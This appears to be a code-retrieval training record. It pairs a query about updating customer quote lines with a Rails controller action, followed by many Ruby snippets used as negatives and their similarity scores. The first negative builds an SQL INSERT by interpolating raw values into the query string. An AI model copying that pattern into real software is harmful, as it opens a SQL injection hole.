"def line_item_insert(h)\n\t\trows = @database.execute <<-SQL\n\t\tINSERT INTO invoice_lines\n\t\t\t\t(number\n\t\t\t\t, invoice_id\n\t\t\t\t, line_id\n\t\t\t\t, _order\n\t\t\t\t, description\n\t\t\t\t, amount\n\t\t\t\t, first_expense_id\n\t\t \t, first_time_entry_id\n\t\t\t\t, line_item_date\n\t\t\t\t, person\n\t\t\t\t, name\n\t\t\t\t, matter\n\t\t\t\t, unit_cost\n\t\t\t\t, quantity\n\t\t\t\t, type\n\t\t\t\t, updated\n\t\t\t\t)\n\t\tVALUES\n\t\t\t ('#{h['number']}'\n\t\t\t , '#{h['invoice_id']}'\n\t\t\t , '#{h['line_id']}'\n\t\t\t , '#{h['order']}'\n\t\t\t , '#{h['description']}'\n\t\t\t , '#{h['amount']}'\n\t\t\t , '#{h['first_expense_id']}'\n\t\t\t , '#{h['first_time_entry_id']}'\n\t\t\t , '#{h['line_item_date']}'\n\t\t , '#{h['person']}'\n\t\t\t , '#{h['name']}'\n\t\t\t , '#{h['matter']}'\n\t\t\t , '#{h['unit_cost']}'\n\t\t\t , '#{h['quantity']}'\n\t\t\t , '#{h['type']}'\n\t\t\t , '#{h['updated']}'\n\t\t\t )\n\t\tSQL\n\tend",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def create\n @trade_line = TradeLine.new(trade_line_params)\n\n respond_to do |format|\n if @trade_line.save\n format.html { redirect_to @trade_line, notice: 'Trade line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trade_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @trade_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def create\n @sale = Sale.new(sale_params)\n respond_to do |format|\n if @sale.save\n quantity = params[:quotes_quantity].gsub(/[^\\d^\\.]/, '').to_i\n\n for i in 1..quantity\n @quote = Quote.new\n @quote.amount = (params[:amount]).gsub(/[^\\d^\\.]/, '').to_f\n @quote.is_paid = false\n @quote.number = i\n @quote.total = quantity\n @quote.mounth = (@sale.date + i.month).month\n @quote.year = (@sale.date + i.month).year\n @quote.sale = @sale\n @quote.save\n end\n\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sale }\n else\n format.html { render action: 'new' }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote = Core::Quote.new(quote_params)\n @quote.save\n end",
"def create\n @order = current_member.orders.build(order_params)\n @line_items = current_member.line_items.where(\"id in (?)\", params[:line_items])\n @order.status = 'opening'\n @order.total_price = 0\n @line_items.each do |line_item|\n @order.total_price += (line_item.product.price * line_item.quantity)\n end\n @order.receivable = @order.total_price\n\n respond_to do |format|\n if @order.save\n @line_items.each do |line_item|\n line_item.order_id = @order.id\n line_item.save\n end\n format.html { redirect_to @order, notice: '你的订单已经生成,确认无误后可以支付!' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @translated_line = TranslatedLine.new(translated_line_params)\n\n respond_to do |format|\n if @translated_line.save\n @translated_lines = TranslatedLine.where(translation_code: @translated_line.translation_code)\n format.html { redirect_to @translated_line, notice: 'Translated line was successfully created.' }\n format.js {}\n format.json { render :show, status: :created, location: @translated_line }\n else\n format.html { render :new }\n format.js {}\n format.json { render json: @translated_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @textline = Textline.new(textline_params)\n\n respond_to do |format|\n if @textline.save\n format.html { redirect_to @textline, notice: 'Textline was successfully created.' }\n format.json { render :show, status: :created, location: @textline }\n else\n format.html { render :new }\n format.json { render json: @textline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def order_line_params\n params.require(:order_line).permit(:order_id, :product_id, :quantity, :value, :status)\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def create_market_data_quote_using_post_with_http_info(quote_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MarketDataApi.create_market_data_quote_using_post ...'\n end\n # verify the required parameter 'quote_request' is set\n if @api_client.config.client_side_validation && quote_request.nil?\n fail ArgumentError, \"Missing the required parameter 'quote_request' when calling MarketDataApi.create_market_data_quote_using_post\"\n end\n # resource path\n local_var_path = '/market_data/quote'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(quote_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'MdQuoteResponseVO')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MarketDataApi#create_market_data_quote_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def order_line_params\n params.require(:order_line).permit(:order_id,:special_instruction, :quantity)\n end",
"def issue_refer_line_items\n line_items.each do |line|\n logger.debug \"==@@@@==SalesOrder refer_line_id== #{line.refer_line_id}\"\n po_line = LineItem.find(line.refer_line_id)\n po_line.update_attribute(:quantity_issued, po_line.quantity_issued + line.quantity)\n\n line.update_attribute(:cart_id, nil)\n end\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def contract_service_line_params\n params.require(:contract_service_line).permit(:id, :qty, :contract_service_id, :service_list_id, :line_comment, :client_id, :total, :sub_total, :tax_total, :destroy)\n end",
"def save_lines\n detail_lines.save_line \n end",
"def orders_create_discount_line_with_http_info(id, order_discount_lines_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_create_discount_line ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_create_discount_line\"\n end\n # verify the required parameter 'order_discount_lines_request' is set\n if @api_client.config.client_side_validation && order_discount_lines_request.nil?\n fail ArgumentError, \"Missing the required parameter 'order_discount_lines_request' when calling DiscountsApi.orders_create_discount_line\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/discount_lines'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(order_discount_lines_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'DiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_create_discount_line\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_create_discount_line\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @quote_line.update(quote_line_params)\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin=Admin.find(current_admin.id)\n @credit_line = @admin.credit_lines.create(params[:credit_line])\n #@credit_line.admin=@admin.id\n respond_to do |format|\n if @credit_line.save\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully created.' }\n format.json { render json: @credit_line, status: :created, location: @credit_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit\n # validate_line_items\n Wheretocard::Response.from_order_request(self)\n end",
"def update\n @order.line_items.destroy_all\n @order.update(cost: 0)\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.create(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n end\n end",
"def invoice_params\n params.require(:invoice).permit(lines_attributes: [:id, :costs])\n end",
"def execute_customer_record_create(qty)\n puts \"Starting to create Customer records... Please give the API time to respond...\\n\"\n qty.times do |t|\n body = FakeCustomer.new.generate\n # puts JSON.pretty_generate(JSON.parse(body.to_json))\n FakeRestActions.new(endpoint: \"Customers\", body: body, access_token: @access_token).post_request\n end\n end",
"def lineitem_params\n params.require(:lineitem).permit(:line_part, :line_order, :line_name, :line_price, :line_notes)\n end",
"def create \n @line_item = LineItem.new(line_item_params)\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to '/line_items', notice: \"Line item was successfully created.\" }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applied_line = AppliedLine.new(applied_line_params)\n\n respond_to do |format|\n if @applied_line.save\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully created.' }\n format.json { render :show, status: :created, location: @applied_line }\n else\n format.html { render :new }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def quote_params\n params.require(:quote).permit(:quote_config_id, :customer_id, :manufacturer_id, :series_id, :model_id,\n :specific_equipment_id, :tire_replacement_front_id,\n :implement_id, :attachment_id, :tire_replacement_rear_id,\n :base_quote_price, :total_price,\n :quote_date, :markup_percentage, :finalize_date,\n :sale_finalized, :discount_id)\n end",
"def order_line_params\n #params.fetch(:order_line, {}).permit(:order_id, :product_id, :fabric_id, :std_size, :sep_fabric, :quantity)\n params.require(:order_line).permit(:order_id, :product_id, :fabric_id, :std_size, :sep_fabric, :quantity)\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to new_line_path, notice: 'Line was successfully created. 5 points are awarded to your score.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def execute_order_line user, line_item\n user.gift_certificates.create!(:credit_quantity => line_item.quantity,\n :gift_certificate_sku => self,\n :line_item => line_item, \n :price => price/num_credits)\n end",
"def quote_params\n params.require(:quote).permit(:agent_code, :effective_date, :line, :state, :non_violence_duration, :prior_incident_forgiveness)\n end",
"def quote_params\n params.require(:quote).permit(:number, :currency, :date, :duedate, :btwtotal, :subtotal, :total,\n relation_attributes: [:id, :company_name, :address_line_1, :zip_code, :_destroy],\n company_attributes: [:id, :btw_number, :iban_number, :company_name, :_destroy],\n items_attributes: [:id, :quantity, :description, :unitprice, :btw, :total])\n end",
"def line_detail_params\n params.require(:line_detail).permit(:title, :description, :line_id, :country_id)\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @line_detail = LineDetail.new(line_detail_params)\n generate_id\n respond_to do |format|\n if @line_detail.save\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @phone_line = PhoneLine.new(phone_line_params)\n\n respond_to do |format|\n if @phone_line.save\n format.html { redirect_to phone_lines_url, notice: 'Phone line was successfully created.' }\n format.json { render :show, status: :created, location: @phone_line }\n else\n format.html { render :new }\n format.json { render json: @phone_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote = Quote.new(quote_params)\n\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: 'Quote was successfully created.' }\n format.json { render :show, status: :created, location: @quote }\n else\n format.html { render :new }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote = Quote.new(quote_params)\n\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: 'Quote was successfully created.' }\n format.json { render :show, status: :created, location: @quote }\n else\n format.html { render :new }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def receive\n data = JSON.parse(request.body.read)\n\n phone = data[\"customer\"][\"default_address\"][\"phone\"]\n .gsub(\"(\", \"\")\n .gsub(\")\", \"\")\n .gsub(\"-\", \"\")\n .gsub(\" \", \"\")\n .gsub(\"–\", \"\")\n .gsub(\"+\", \"\")\n\n customer = Customer.find_or_create_shopify(data[\"customer\"])\n\n if !customer.id && phone.length == 11 && phone.split(\"\").first == 1\n data[\"customer\"][\"default_address\"][\"phone\"] = phone.slice!(0)\n customer = Customer.find_or_create_shopify(data[\"customer\"])\n elsif !customer.id && phone.length == 10 && phone.split(\"\").first != 1\n data[\"customer\"][\"default_address\"][\"phone\"] = \"1#{phone}\"\n customer = Customer.find_or_create_shopify(data[\"customer\"])\n end\n\n order_type = tailor_order_or_welcome_kit(data)\n begin\n order = order_type.find_or_create(data, customer)\n rescue => e\n if !order\n order = Order.new({source_order_id: data[\"name\"], source: \"Shopify\", retailer: Retailer.first})\n\n customer = Customer.find_or_create_shopify(data[\"customer\"])\n order.customer = customer\n puts \"\\n\\n\\nshopify controller order not able to be created\"\n puts \"\\norder: #{order} #{order.source_order_id} #{data[\"name\"]}\"\n puts \"\\ncustomer: #{customer}\"\n puts \"\\n\\n\\n shopify json #{data}\"\n order.alert_for_bad_shopify_order\n end\n end\n\n\n if order.id\n order.send_order_confirmation_text\n order.update_attributes(:provider_id => nil)\n items = update_line_items_with_quantity(data[\"line_items\"]) || data[\"line_items\"]\n Item.create_items_shopify(order, items) if order_type == TailorOrder\n end\n\n render json: {}, status: 200\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def invoice_lines_from_order(order)\n invoice = self\n order.order_lines.each do |ol|\n # order_lines are static_document_lines, so they can be assigned to an invoice\n # at the same time, ensuring that the invoice always reflects the order 100%.\n ol.invoice = invoice\n ol.save\n end\n return invoice\n end",
"def create\n @cart = current_cart\n if params[:bow_id]\n bow = Bow.find(params[:bow_id])\n end\n \n if params[:crossbow_id]\n crossbow = Crossbow.find(params[:crossbow_id])\n end\n \n @line_item = @cart.line_items.build(:bow => bow, :crossbow => crossbow)\n\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def escaped_json\n json = to_json(:include => :trade_lines)\n return CGI.escape(json)\n end",
"def checkout\n line_items = LineItem.all\n\n @order = Order.create(user_id: current_user.id, subtotal: 0)\n\n line_items.each do |l_item|\n l_item.product.update(quantity: (l_item.product.quantity - l_item.quantity))\n @order.order_items[l_item.product_id] = l_item.quantity\n @order.subtotal += l_item.line_item_total\n end\n @order.save\n\n @order.update(sales_tax: (@order.subtotal * 0.08))\n @order.update(grand_total: (@order.sales_tax + @order.subtotal))\n\n line_items.destroy_all\n end",
"def customer_quote_params\n\n params.require(:customer_quote).permit(:email, :full_name, :rut, :address, :total_quote, :user_id)\n\n end",
"def quote_params\n params.require(:quote).permit(:company_name, :quote_information, :quote_amount, :quote_due_date, :artwork_due_date, :artwork_proof_link, :production_notes, :quote_status, :quote_link, :order_ship_date, :order_installation_date)\n end",
"def quote_params\n params.require(:core_quote).permit(:amount, :description, :invoice_split_id, :quote_date, :project_id, :lead_id, :reference_id, :reference_type, :status_id,\n attachments_attributes: [:id, :name, :_destroy],)\n end",
"def create\n @contract_service_line = ContractServiceLine.new(contract_service_line_params)\n\n respond_to do |format|\n if @contract_service_line.save\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully created.' }\n format.json { render :show, status: :created, location: @contract_service_line }\n else\n format.html { render :new }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:buyer, :description, :unit_price, :quantity, :total, :address, :supplier, :attchment_id)\n params[\"line\"][\"total\"] = (params[\"line\"][\"unit_price\"].to_f * params[\"line\"][\"quantity\"].to_f).to_s\n params.require(:line).permit(:buyer, :description, :unit_price, :quantity, :total, :address, :supplier, :attchment_id)\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n # remove the cart id\n item.cart_id = nil\n # add the order line items\n line_items << item\n end\n\n end",
"def set_line\n @cart = Cart.find(params[:cart_id])\n @cart_line = @cart.cart_lines.find_by_id(params[:id])\n end"
] | [
"0.6673877",
"0.6567689",
"0.6428922",
"0.6182378",
"0.61731344",
"0.6172129",
"0.6140783",
"0.6083108",
"0.6056069",
"0.6045152",
"0.60255617",
"0.59296066",
"0.5821327",
"0.5770799",
"0.5731658",
"0.57204586",
"0.5689212",
"0.5676273",
"0.5646049",
"0.56109333",
"0.56006736",
"0.55932194",
"0.54471886",
"0.544396",
"0.5434505",
"0.5415945",
"0.5400937",
"0.5382013",
"0.5376194",
"0.5373689",
"0.53715736",
"0.53684914",
"0.53418183",
"0.5340006",
"0.53128034",
"0.53086",
"0.52985495",
"0.5267628",
"0.52618194",
"0.525188",
"0.5250979",
"0.5249897",
"0.524788",
"0.5246585",
"0.5243699",
"0.5243699",
"0.52228045",
"0.52199334",
"0.5217534",
"0.52129525",
"0.5205563",
"0.52053356",
"0.52006483",
"0.5192446",
"0.5185915",
"0.517847",
"0.5167092",
"0.51571435",
"0.5154098",
"0.51494426",
"0.5131203",
"0.5128731",
"0.51184195",
"0.51166594",
"0.5116464",
"0.5113967",
"0.51117486",
"0.5098599",
"0.509757",
"0.5076645",
"0.50761616",
"0.5073799",
"0.50725585",
"0.5057239",
"0.5054565",
"0.5050813",
"0.50411695",
"0.5033929",
"0.50302607",
"0.5027331",
"0.5023717",
"0.50220937",
"0.501864",
"0.5011638",
"0.50024056",
"0.50024056",
"0.4996911",
"0.49932116",
"0.4991368",
"0.49760085",
"0.49750096",
"0.4973923",
"0.49725616",
"0.49721467",
"0.49698374",
"0.49595052",
"0.49569935",
"0.4953889",
"0.4953758",
"0.49502036"
] | 0.69819164 | 0 |
PUT customer_quotes/1/customer_quote_lines/1 PUT customer_quotes/1/customer_quote_lines/1.json | def update
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])
@attachable = @customer_quote
respond_to do |format|
if @customer_quote_line.update_attributes(customer_quote_line_params)
format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }
format.json { head :ok }
else
format.html { render :action => "edit" }
format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @quote_line.update(quote_line_params)\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_quote_line\n @quote_line = QuoteLine.find(params[:id])\n end",
"def create\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]\n @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }\n format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def quote_line_params\n params.require(:quote_line).permit(:qty, :discount, :product_id, :new_description, :quote_id)\n end",
"def update\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n if @order_line.update_attributes(params[:order_line])\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def update\n respond_to do |format|\n if @order_line.update(order_line_params)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.build\n @attachable = @customer_quote\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def update\n @quote.update_attributes(params[:quote])\n respond_with(@quote)\n end",
"def update\n @order.line_items.destroy_all\n @order.update(cost: 0)\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.create(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n end\n end",
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def set_customer_quote\n @customer_quote = CustomerQuote.find(params[:id])\n end",
"def update\n @quote.update(quote_params)\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n if params['q_param']['quote_id']!=nil\n @quote_id=params['q_param']['quote_id']\n @quote=Quote.find(@quote_id)\n client_id= @quote.client_id\n list=@quote.list\n total=@quote.total\n tax_rate=@quote.tax_rate\n @quote.update({:status=>2})\n title=@quote.title\n comment=@quote.comment\n else \n client_id=params['q_param']['client']\n @quote_id=nil\n list=nil\n total=nil\n tax_rate=nil\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n end\n @client=Client.find_by_id(client_id)\n invoice_p={:title=>title,:comment=>comment,:quote_id=>@quote_id,:total=>total,:list=>list,:tax_rate=>tax_rate,}\n @invoice = @client.invoices.create(invoice_p)\n render json: {:invoice_id=>@invoice.id}\n end",
"def create\n @order = Order.new(:customer_id => order_params[:customer_id])\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.new(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quote = Quote.find(params[:quote_id])\n @quote_vendor = @quote.quote_vendors.find(params[:id])\n\n respond_to do |format|\n if @quote_vendor.update_attributes(params[:quote_vendor])\n format.html { redirect_to(@quote, :notice => 'Quote vendor was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @quote_vendor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n respond_to do |format|\n if @purchase_order_item_line.update_attributes(params[:purchase_order_item_line])\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find_by_no(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n quotes = Quote.where(:sale_id => @sale.id)\n\n quotes.each { |q| q.destroy }\n\n respond_to do |format|\n if @sale.update(sale_params)\n quantity = params[:quotes_quantity].gsub(/[^\\d^\\.]/, '').to_i\n\n for i in 1..quantity\n @quote = Quote.new\n @quote.amount = (params[:amount]).gsub(/[^\\d^\\.]/, '').to_f\n @quote.is_paid = false\n @quote.number = i\n @quote.total = quantity\n @quote.mounth = (@sale.date + i.month).month\n @quote.year = (@sale.date + i.month).year\n @quote.sale = @sale\n @quote.save\n end\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def collect_order_line(shop_id, order_id, order_line)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/order_lines\", body: order_line).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def update\n @quote = Quote.find(params[:id])\n @quote.update_attributes(quote_params)\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: 'Quote was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def update\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n if @quote.update_attributes(params[:quote])\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(line_params)\n format.html { redirect_to new_line_path, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render verb: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n if @quote.update_attributes(params[:quote])\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
